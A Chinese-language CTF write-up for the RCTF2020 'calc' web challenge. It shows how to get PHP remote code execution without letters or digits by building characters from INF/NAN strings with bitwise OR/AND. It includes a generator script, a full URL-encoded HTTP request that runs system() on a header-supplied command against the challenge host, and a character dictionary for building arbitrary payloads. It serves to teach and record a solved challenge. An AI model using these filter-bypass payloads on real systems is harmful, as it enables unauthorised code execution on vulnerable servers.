RCTF2020 – web – wp

发布于 2020-07-04  2880 次阅读


RCTF2020 - web - wp

calc

(我发现,现在ctf越出越变态,从无参数rce到无数字字母rce,我感觉应该就已经是rce的尽头了,php还真是世界上最好的语言,这次又整出新花样,不过学到许多倒是真的,感谢ROIS的师傅们绞尽脑汁出题233)

考点:无数字、无字母,无部分符号,反正啥都没了的rce。

主页代码审计看到一个calc.php的接口,访问之后源码审计:

  1. 只有\x00\x40和其余部分字符可以用,这意味着取反、异或、递增,都没了,而与或两个逻辑只能构造出部分字符而且必须要配合引号。这里利用php7中新增的一点:
    file
    file
    这下我们有了NAIF四个字符可以用配合0~9可以通过与或构造出所有字符了。(关于php里对字符的取反、异或、递增可以参考这篇文章:geek2019-Rceme)
    字符与或都是一个原理。
  2. 通过字符串拼接可以将数字转换为字符串:
    file
  3. 利用{}对字符串进行切片:
    file
    注意对刚刚的数字拼接成字符串,只能取到第一位:
    file
  4. php动态执行方法。(eval是语法结构,不能动态执行,php7中assert也变成了语法结构,也不能动态执行(php7.0里assert可以))
    file
  5. 通过构造出chr()绕过黑名单即可(题目解法不一,可能遇到paylaod过长的情况,后面还会给一个将所有字符都通过与或构造出来的字典。)

构造字符的payload:

=================================
"; for($i=0;$i<6;$i++){ for($j=0;$j<10;$j++){ echo $i.$j; echo ((($j).(0){1})|((1/0).(0/0)){$i}.' '); } } echo "
=================================
"; for($i=0;$i<6;$i++){ for($j=0;$j<6;$j++){ echo $i.$j; echo ((((1/0).(0/0)){$i})|(((1/0).(0/0)){$j})); } } echo "
=================================
"; for($i=0;$i<6;$i++){ for($j=0;$j<6;$j++){ echo ((((1/0).(0/0)){$i})&(((1/0).(0/0)){$j})); } } // 0123456789abcdefg $dic = "y{}~vwqsuIONFGAH@"; echo "
=================================
"; for($i=0;$i<18;$i++){ for($j=0;$j<18;$j++){ echo ($dic{$i}|$dic{$j}); } } $a = ""; echo "
=================================
"; for($i=0;$i<18;$i++){ for($j=0;$j<18;$j++){ echo $i.$j; echo ($dic{$i}&$dic{$j});echo ' '; $a = $a . ($dic{$i}&$dic{$j}); } } ?>

利用eval(end(getallheaders()));构造request-header里的rce:

GET /calc.php?num=((((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(115).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(121).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(115).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(116).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(101).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(109))(((((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(110).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(101).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(120).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(116))(((((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(103).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(101).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(116).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(97).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(108).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(108).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(104).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(101).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(97).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(100).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(101).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(114).(((((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((1).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B0%7D))%26(((((1%2F0).(0%2F0))%7B2%7D)%7C((1%2F0).(0%2F0))%7B4%7D).((((1%2F0).(0%2F0))%7B1%7D)%7C((1%2F0).(0%2F0))%7B1%7D).(((2).(0)%7B0%7D)%7C((1%2F0).(0%2F0))%7B2%7D)))(115))())) HTTP/1.1
Host: 124.156.140.90:8081
Accept: ls
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Referer: http://124.156.140.90:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

字典:

{                           (((2).(0){1})|((1/0).(0/0)){0})
}                           (((4).(0){1})|((1/0).(0/0)){0})
~                           (((0).(0){1})|((1/0).(0/0)){1})
A                           (((1/0).(0/0)){4})
B                           ((((2).(0){1})|((1/0).(0/0)){0})%26(((1/0).(0/0)){2}))
C                           ((((2).(0){1})|((1/0).(0/0)){0})%26((((1/0).(0/0)){2})|((1/0).(0/0)){4}))
D                           ((((4).(0){1})|((1/0).(0/0)){0})%26(((1/0).(0/0)){2}))
E                           ((((4).(0){1})|((1/0).(0/0)){0})%26((((1/0).(0/0)){2})|((1/0).(0/0)){4}))
F                           (((1/0).(0/0)){2})
G                           ((((1/0).(0/0)){2})|((1/0).(0/0)){4})
H                           ((((1/0).(0/0)){0})%26(((1/0).(0/0)){1}))
I                           (((1/0).(0/0)){0})
J                           (((((1/0).(0/0)){1})|((1/0).(0/0)){1})%26(((2).(0){1})|((1/0).(0/0)){0}))
K                           ((((2).(0){1})|((1/0).(0/0)){0})%26(((((1/0).(0/0)){0})|(((1/0).(0/0)){1}))))
L                           ((((4).(0){1})|((1/0).(0/0)){0})%26((((1/0).(0/0)){1})|((1/0).(0/0)){1}))
M                           ((((4).(0){1})|((1/0).(0/0)){0})%26(((((1/0).(0/0)){0})|(((1/0).(0/0)){1}))))
N                           ((((1/0).(0/0)){1})|((1/0).(0/0)){1})
O                           (((((1/0).(0/0)){0})|(((1/0).(0/0)){1})))
p                           ((((1).(0){0})|((1/0).(0/0)){0})%26(((2).(0){0})|((1/0).(0/0)){2}))
q                           (((0).(0){1})|((1/0).(0/0)){4})
r                           ((((2).(0){1})|((1/0).(0/0)){0})%26(((2).(0){0})|((1/0).(0/0)){2}))
s                           (((2).(0){1})|((1/0).(0/0)){4})
t                           ((((4).(0){1})|((1/0).(0/0)){0})%26(((2).(0){0})|((1/0).(0/0)){2}))
u                           (((4).(0){1})|((1/0).(0/0)){4})
v                           (((2).(0){0})|((1/0).(0/0)){2})
w                           (((1).(0){1})|((1/0).(0/0)){2})
x                           ((((1).(0){0})|((1/0).(0/0)){0})%26(((0).(0){1})|((1/0).(0/0)){1}))
y                           (((1).(0){0})|((1/0).(0/0)){0})
z                           ((((2).(0){1})|((1/0).(0/0)){0})%26(((0).(0){1})|((1/0).(0/0)){1}))
'                          ((((((2).(0){0})|((1/0).(0/0)){0}).(((1).(0){0})|((1/0).(0/0)){0}).(((2).(0){0})|((1/0).(0/0)){0}))%26(((((1/0).(0/0)){2})|((1/0).(0/0)){4}).((((1/0).(0/0)){1})|((1/0).(0/0)){1}).(((2).(0){0})|((1/0).(0/0)){2})))(39))
"                          ((((((2).(0){0})|((1/0).(0/0)){0}).(((1).(0){0})|((1/0).(0/0)){0}).(((2).(0){0})|((1/0).(0/0)){0}))%26(((((1/0).(0/0)){2})|((1/0).(0/0)){4}).((((1/0).(0/0)){1})|((1/0).(0/0)){1}).(((2).(0){0})|((1/0).(0/0)){2})))(34))
_                           ((((((2).(0){0})|((1/0).(0/0)){0}).(((1).(0){0})|((1/0).(0/0)){0}).(((2).(0){0})|((1/0).(0/0)){0}))%26(((((1/0).(0/0)){2})|((1/0).(0/0)){4}).((((1/0).(0/0)){1})|((1/0).(0/0)){1}).(((2).(0){0})|((1/0).(0/0)){2})))(95))
$                           ((((((2).(0){0})|((1/0).(0/0)){0}).(((1).(0){0})|((1/0).(0/0)){0}).(((2).(0){0})|((1/0).(0/0)){0}))%26(((((1/0).(0/0)){2})|((1/0).(0/0)){4}).((((1/0).(0/0)){1})|((1/0).(0/0)){1}).(((2).(0){0})|((1/0).(0/0)){2})))(36))
,                           ((((((2).(0){0})|((1/0).(0/0)){0}).(((1).(0){0})|((1/0).(0/0)){0}).(((2).(0){0})|((1/0).(0/0)){0}))%26(((((1/0).(0/0)){2})|((1/0).(0/0)){4}).((((1/0).(0/0)){1})|((1/0).(0/0)){1}).(((2).(0){0})|((1/0).(0/0)){2})))(44))

根目录下有/flag/readflag要运行/readflag并计算出算式才可以:
file

参考:*CTF2019-Mywebsql

题目环境php的脚本不好用,换perl的:
base64编码将Perl脚本写进/tmp/ccc.pl,然后执行:
file


既然热爱,就坚持下去。